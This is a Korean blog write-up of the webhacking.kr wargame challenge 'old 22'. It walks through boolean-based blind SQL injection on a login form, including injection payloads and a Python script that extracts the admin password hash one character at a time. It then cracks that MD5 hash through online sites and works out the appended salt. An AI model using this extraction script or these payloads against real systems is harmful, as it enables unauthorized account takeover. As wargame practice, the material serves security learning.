power-girl0-0

[webhacking.kr - old] 22번 본문

War game/webhacking.kr

[webhacking.kr - old] 22번

power-girl0-0 2021. 6. 27. 03:18
728x90

주소 : https://webhacking.kr/old.php

Webhacking.kr

webhacking.kr


[ 풀이 ]

미션과 컬럼 이름을 친절하게 알려주고 있다!

join을 누르면 아래와 같이, 가입할 수 있는 폼으로 넘어갈 수 있다.

먼저, admin으로 가입하려고 하니 이미 가입한 사람이라고 출력된다.

임의의 username으로 가입한 결과, 아래와 같이 가입이 되었다고 출력된다.

로그인 결과, 아래와 같이 hash값이 출력되는 것을 확인할 수 있다.


그럼 임의로 가입한 아이디를 이용해서, 참값을 전송해보자.

id : dobbygation' and 1=1# / pw : 1

아래와 같이, "Wrong password!"라는 구문이 출력되는 것을 확인할 수 있다.

그렇다면, 거짓된 값을 전송시 어떤 반응일까?

id : dobbygation' and 1=2# / pw : 1

아래와 같이, "Login Fail!"의 구문이 출력된다.

즉, true값 일시 "Wrong password!"이고 false일시 "Login Fail!"이 출력되는 것을 알 수 있었다.
이전 21번 문제와 비슷한 듯 하다! 다른 점은 POST방식으로 값을 전송하고 있는 것이다!


소스코드를 만들어서 admin의 비밀번호를 유추해보자!

import requests stop=0 pw_len=0 pwd='' url = "https://webhacking.kr/challenge/bonus-2/index.php" c = {"cookie":"'PHPSESSID'='r6432q5jbt0c5i14t7hg3rhugk'"} # 비밀번호 글자수 for i in range(1,50): data = {"uuid":"admin' and length(pw)={}#".format(i),"pw":"1"} res = requests.post(url, data=data, cookies=c) if res.text.find("Wrong password!")!=-1: pw_len=i print("pw len : {}".format(pw_len)) break # 비밀번호 for i in range(1, pw_len+1): if stop == 1: break for j in range(33, 133): data = {"uuid":"admin' and ord(substr(pw,{},1))={}#".format(i,j),"pw":"1"} res = requests.post(url, data=data, cookies=c) if res.text.find("Wrong password!")!=-1: pwd += chr(j) break if j==132: stop=1 break print("pw : {}".format(pwd))

위에서 구한 값대로, 로그인한 결과!! 로그인되지 않는다.!!

id : admin / pw : 6c9ca386a903921d7fa230ffa0ffc153

이전에 임의의 아이디로 로그인했을 때, 비밀번호가 해시값이라고 출력된 것이 생각이 났다.

따라서, 위에서 구한 6c9ca386a903921d7fa230ffa0ffc153값은 해시값으로 생각된다.
글자수가 32개인 것을 보니, MD5로 해시된 것으로 예측된다.
( MD5 복호화사이트 : https://www.md5online.org/md5-decrypt.html )


그 결과, 아래와 같이 wowapple이라는 글자를 구할 수 있다.

이를 입력하여, 로그인을 시도해보자.

id : admin / pw : wowapple

이번에도 로그인이 되지 않는다 ㅠ_ㅠ


md5해시가 아닌가 하여, 확인을 위해 이전에 임의의 아이디에서 구해진 해시값을 md5로 복호화해보았다.
왜그러는지는 모르겠는데,,, 해시값이 어디서는 복호화되고 어디서는 복호화되지 않아서 위와 밑의 복호화사이트를 다르게 이용하였다,,,
( MD5 복호화 사이트 : https://crackstation.net/ )

그 결과, passwordapple이라고 복호화된 것을 확인할 수 있다.
비밀번호를 password라고 저장하였는데, apple이 붙어있는 것을 알 수 있다.

즉, apple을 해시화할 때 붙이는 것을 알 수 있다.


그래서 비밀번호로 wow로 입력해서 로그인해보니, 성공하였다.

id : admin / pw : wow


728x90

'War game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr - old] 24번  (0) 2021.06.27
[webhacking.kr - old] 23번  (0) 2021.06.27
[webhacking.kr - old] 21번  (0) 2021.06.26
[webhacking.kr - old] 20번  (0) 2021.06.25
[webhacking.kr - old] 19번  (0) 2021.06.25
Comments